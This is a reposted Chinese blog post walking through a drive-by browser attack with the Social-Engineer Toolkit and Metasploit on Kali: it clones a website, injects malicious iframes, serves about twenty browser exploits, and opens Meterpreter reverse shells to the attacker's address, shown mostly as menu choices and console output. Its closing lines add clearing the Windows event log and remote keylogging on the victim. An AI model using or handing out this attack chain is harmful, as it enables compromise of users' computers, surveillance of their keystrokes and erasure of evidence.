网页***(适用于windows xp,只看思路)-CSDN博客

root@kali:~# setoolkit

Do you agree to the terms of service [y/n]:y

Select from the menu:

1)Social-Engineering Attacks

2)Penetration Testing (Fast-Track)

3)Third Party Modules

4)Update the Social-Engineer Toolkit

5)Update SET configuration

6)Help, Credits, and About

99)Exit the Social-Engineer Toolkit

set> 1

Select from the menu:

1)Spear-Phishing Attack Vectors

2)Website Attack Vectors

3)Infectious Media Generator

4)Create a Payload and Listener

5)Mass Mailer Attack

6)Arduino-Based Attack Vector

7)Wireless Access Point Attack Vector

8)QRCode Generator Attack Vector

9)Powershell Attack Vectors

10)SMS Spoofing Attack Vector

11)Third Party Modules

99)Return back to the main menu.

set> 2

1)Java Applet Attack Method

2)Metasploit Browser Exploit Method

3)Credential Harvester Attack Method

4)Tabnabbing Attack Method

5)Web Jacking Attack Method

6)Multi-Attack Web Method

7)Full Screen Attack Method

8)HTA Attack Method

99)Return to Main Menu

set:webattack>2

1)Web Templates

2)Site Cloner

3)Custom Import

99)Return to Webattack Menu

set:webattack>1

[-] NAT/Port Forwarding can be used in thecases where your SET machine is

[-] not externally exposed and may be adifferent IP address than your reverse listener.

set> Are you using NAT/Port Forwarding[yes|no]: no

[-] Enter the IP address of your interfaceIP or if your using an external IP, what

[-] will be used for the connection backand to house the web server (your interface address)

set:webattack> IP address or hostnamefor the reverse connection:192.168.1.117 （kali）

1.Java Required

2.Google

3.Facebook

4.Twitter

5.Yahoo

set:webattack> Select a template:1

Enter the browser exploit you would like touse [8]:

1)Adobe Flash Player ByteArray Use After Free (2015-07-06)

2)Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow (2015-06-23)

3)Adobe Flash Player Drawing Fill Shader Memory Corruption (2015-05-12)

4)MS14-012 Microsoft Internet Explorer TextRange Use-After-Free (2014-03-11)

5)MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free (2014-02-13)

6)Internet Explorer CDisplayPointer Use-After-Free (10/13/2013)

7)Micorosft Internet Explorer SetMouseCapture Use-After-Free (09/17/2013)

8)Java Applet JMX Remote Code Execution (UPDATED 2013-01-19)

9)Java Applet JMX Remote Code Execution (2013-01-10)

10)MS13-009 Microsoft Internet Explorer SLayoutRun Use-AFter-Free (2013-02-13)

11)Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free (2012-12-27)

12)Java 7 Applet Remote Code Execution (2012-08-26)

13)Microsoft Internet Explorer execCommand Use-After-Free Vulnerability(2012-09-14)

14)Java AtomicReferenceArray Type Violation Vulnerability (2012-02-14)

15)Java Applet Field Bytecode Verifier Cache Remote Code Execution (2012-06-06)

16)MS12-037 Internet Explorer Same ID Property Deleted Object Handling MemoryCorruption (2012-06-12)

17)Microsoft XML Core Services MSXML Uninitialized Memory Corruption (2012-06-12)

18)Adobe Flash Player Object Type Confusion (2012-05-04)

19)Adobe Flash Player MP4 "cprt" Overflow (2012-02-15)

20)MS12-004 midiOutPlayNextPolyEvent Heap Overflow (2012-01-10)

21)Java Applet Rhino Script Engine Remote Code Execution (2011-10-18)

22)MS11-050 IE mshtml!CObjectElement Use After Free (2011-06-16)

23)Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability (2011-04-11)

24)Cisco AnyConnect ××× Client ActiveX URL Property Download and Execute(2011-06-01)

25)Internet Explorer CSS Import Use After Free (2010-11-29)

26)Microsoft WMI Administration Tools ActiveX Buffer Overflow (2010-12-21)

27)Internet Explorer CSS Tags Memory Corruption (2010-11-03)

28)Sun Java Applet2ClassLoader Remote Code Execution (2011-02-15)

29)Sun Java Runtime New Plugin docbase Buffer Overflow (2010-10-12)

30)Microsoft Windows WebDAV Application DLL Hijacker (2010-08-18)

31)Adobe Flash Player AVM Bytecode Verification Vulnerability (2011-03-15)

32)Adobe Shockwave rcsL Memory Corruption Exploit (2010-10-21)

33)Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow(2010-09-07)

34)Apple QuickTime 7.6.7 Marshaled_pUnk Code Execution (2010-08-30)

35)Microsoft Help Center XSS and Command Execution (2010-06-09)

36)Microsoft Internet Explorer iepeers.dll Use After Free (2010-03-09)

37)Microsoft Internet Explorer "Aurora" Memory Corruption (2010-01-14)

38)Microsoft Internet Explorer Tabular Data Control Exploit (2010-03-0)

39)Microsoft Internet Explorer 7 Uninitialized Memory Corruption (2009-02-10)

40)Microsoft Internet Explorer Style getElementsbyTagName Corruption (2009-11-20)

41)Microsoft Internet Explorer isComponentInstalled Overflow (2006-02-24)

42)Microsoft Internet Explorer Explorer Data Binding Corruption (2008-12-07)

43)Microsoft Internet Explorer Unsafe Scripting Misconfiguration (2010-09-20)

44)FireFox 3.5 escape Return Value Memory Corruption (2009-07-13)

45)FireFox 3.6.16 mChannel use after free vulnerability (2011-05-10)

46)Metasploit Browser Autopwn (USE AT OWN RISK!)

set:payloads>46

1)Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker

2)Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker

3)Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker

4)Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline

5)Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter

6)Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports

7)Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

8)Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and use Reverse Meterpreter

9)Download/Run your Own Executable Downloads an executable and runs it

set:payloads>2

set:payloads> Port to use for thereverse [443]:443 （这里执行时间有点长）

[*]Cloning the website:

[*] This could take a little bit...

[*] Injecting iframes into cloned websitefor MSF Attack....

[*] Malicious iframe injectionsuccessful...crafting payload.

[*] Apache appears to be running, movingfiles into Apache's home

***************************************************

Web Server Launched. Welcome to the SET WebAttack.

***************************************************

[--] Tested on Windows, Linux, and OSX [--]

[--] Apache web server is currently in usefor performance. [--]

[*] Moving payload into cloned website.

[*] The site has been moved. SET Web Serveris now listening..

[-] Launching MSF Listener...

[-] This may take a few to load MSF...

+-------------------------------------------------------+

| METASPLOIT by Rapid7 |

+---------------------------+---------------------------+

| __________________ | |

| ==c(______(o(______(_() ||""""""""""""|======[*** |

| )=\ | | EXPLOIT \ |

| // \\ | |_____________\_______ |

| // \\ | |==[msf >]============\ |

| // \\ | |______________________\ |

| // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ |

| // \\ | ********************* |

+---------------------------+---------------------------+

| o O o | \'\/\/\/'/ |

| o O | )======( |

| o | .' LOOT '. |

||^^^^^^^^^^^^^^|l___ | / _||__ \ |

|| PAYLOAD |""\___, | / (_||_ \ |

||________________|__|)__| | | __||_) | |

||(@)(@)"""**|(@)(@)**|(@) | " || " |

| = = = = = = = = = = = = | '--------------' |

+---------------------------+---------------------------+

Taking notes in notepad? Have MetasploitPro track & report

your progress and findings -- learn more onhttp://rapid7.com/metasploit

=[ metasploit v4.12.23-dev ]

+ -- --=[ 1577 exploits - 907 auxiliary -272 post ]

+ -- --=[ 455 payloads - 39 encoders - 8nops ]

+ -- --=[ Free Metasploit Pro trial:http://r-7.co/trymsp ]

[*] Processing /root/.set//meta_config forERB directives.

resource (/root/.set//meta_config)> useauxiliary/server/browser_autopwn

resource (/root/.set//meta_config)> setPAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD =>windows/meterpreter/reverse_tcp

resource (/root/.set//meta_config)> setLHOST 192.168.1.117

LHOST => 192.168.1.117

resource (/root/.set//meta_config)> setLPORT 443

LPORT => 443

resource (/root/.set//meta_config)> setURIPATH /

URIPATH => /

resource (/root/.set//meta_config)> setSRVPORT 8080

SRVPORT => 8080

resource (/root/.set//meta_config)> setExitOnSession false

ExitOnSession => false

resource (/root/.set//meta_config)>exploit -j

[*] Auxiliary module running as backgroundjob

[*] Setup

msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host192.168.1.117...

[*] ---

[*] Starting exploitandroid/browser/webview_addjavascriptinterface with payloadandroid/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/XJyavBIacR

[*] Local IP:http://192.168.1.117:8080/XJyavBIacR

[*] Server started.

[*] Starting exploitmulti/browser/firefox_proto_crmfrequest with payload generic/shell_reverse_tcp

[*] Using URL:http://0.0.0.0:8080/QGlDpPXcx

[*] Local IP: http://192.168.1.117:8080/QGlDpPXcx

[*] Server started.

[*] Starting exploitmulti/browser/firefox_tostring_console_injection with payloadgeneric/shell_reverse_tcp

[*] Using URL: http://0.0.0.0:8080/ARlpIFLe

[*] Local IP:http://192.168.1.117:8080/ARlpIFLe

[*] Server started.

[*] Starting exploitmulti/browser/firefox_webidl_injection with payload generic/shell_reverse_tcp

[*] Using URL:http://0.0.0.0:8080/SOOmPaKWujh

[*] Local IP:http://192.168.1.117:8080/SOOmPaKWujh

[*] Server started.

[*] Starting exploit multi/browser/java_atomicreferencearraywith payload java/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/xGsBkydiyDEQ

[*] Local IP:http://192.168.1.117:8080/xGsBkydiyDEQ

[*] Server started.

[*] Starting exploitmulti/browser/java_jre17_jmxbean with payload java/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/WtYy

[*] Local IP:http://192.168.1.117:8080/WtYy

[*] Server started.

[*] Starting exploitmulti/browser/java_jre17_provider_skeleton with payloadjava/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/YRcEw

[*] Local IP:http://192.168.1.117:8080/YRcEw

[*] Server started.

[*] Starting exploitmulti/browser/java_jre17_reflection_types with payloadjava/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/XTCiGPcUSrL

[*] Local IP: http://192.168.1.117:8080/XTCiGPcUSrL

[*] Server started.

[*] Starting exploitmulti/browser/java_rhino with payload java/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/bzfzBWGZjB

[*] Local IP:http://192.168.1.117:8080/bzfzBWGZjB

[*] Server started.

[*] Starting exploitmulti/browser/java_verifier_field_access with payloadjava/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/akFIwW

[*] Local IP:http://192.168.1.117:8080/akFIwW

[*] Server started.

[*] Starting exploit multi/browser/opera_configoverwritewith payload generic/shell_reverse_tcp

[*] Using URL: http://0.0.0.0:8080/jFdeDrFt

[*] Local IP:http://192.168.1.117:8080/jFdeDrFt

[*] Server started.

[*] Starting exploitwindows/browser/adobe_flash_mp4_cprt with payload windows/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/ajEThoWib

[*] Local IP:http://192.168.1.117:8080/ajEThoWib

[*] Server started.

[*] Starting exploitwindows/browser/adobe_flash_rtmp with payload windows/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/oeredhZHxbFn

[*] Local IP:http://192.168.1.117:8080/oeredhZHxbFn

[*] Server started.

[*] Starting exploitwindows/browser/ie_cgenericelement_uaf with payloadwindows/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/TIMDwI

[*] Local IP:http://192.168.1.117:8080/TIMDwI

[*] Server started.

[*] Starting exploitwindows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/JjYZ

[*] Local IP:http://192.168.1.117:8080/JjYZ

[*] Server started.

[*] Starting exploitwindows/browser/ie_execcommand_uaf with payload windows/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/sUtiNZGyAVn

[*] Local IP:http://192.168.1.117:8080/sUtiNZGyAVn

[*] Server started.

[*] Starting exploit windows/browser/mozilla_nstreerangewith payload windows/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/kpaPwyqlTXpvM

[*] Local IP:http://192.168.1.117:8080/kpaPwyqlTXpvM

[*] Server started.

[*] Starting exploitwindows/browser/ms13_080_cdisplaypointer with payloadwindows/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/skqCsHFX

[*] Local IP:http://192.168.1.117:8080/skqCsHFX

[*] Server started.

[*] Starting exploitwindows/browser/ms13_090_cardspacesigninhelper with payloadwindows/meterpreter/reverse_tcp

[*] Using URL:http://0.0.0.0:8080/vUMSlRJDHh

[*] Local IP:http://192.168.1.117:8080/vUMSlRJDHh

[*] Server started.

[*] Starting exploitwindows/browser/msxml_get_definition_code_exec with payloadwindows/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/DTsZvlBS

[*] Local IP:http://192.168.1.117:8080/DTsZvlBS

[*] Server started.

[*] Starting handler forwindows/meterpreter/reverse_tcp on port 3333

[*] Starting handler forgeneric/shell_reverse_tcp on port 6666

[*] Started reverse TCP handler on192.168.1.117:3333

[*] Starting the payload handler...

[*] Starting handler forjava/meterpreter/reverse_tcp on port 7777

[*] Started reverse TCP handler on192.168.1.117:6666

[*] Started reverse TCP handler on192.168.1.117:7777

[*] Starting the payload handler...

[*] --- Done, found 20 exploit modules

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.1.117:8080/

[*] Server started. （服务已经启动）（回车）

客户端访问http://192.168.1.117:8080/

清理windows event log

远程键盘监控

exit -y 退出所有服务。

转载于:https://blog.51cto.com/2290153/1906235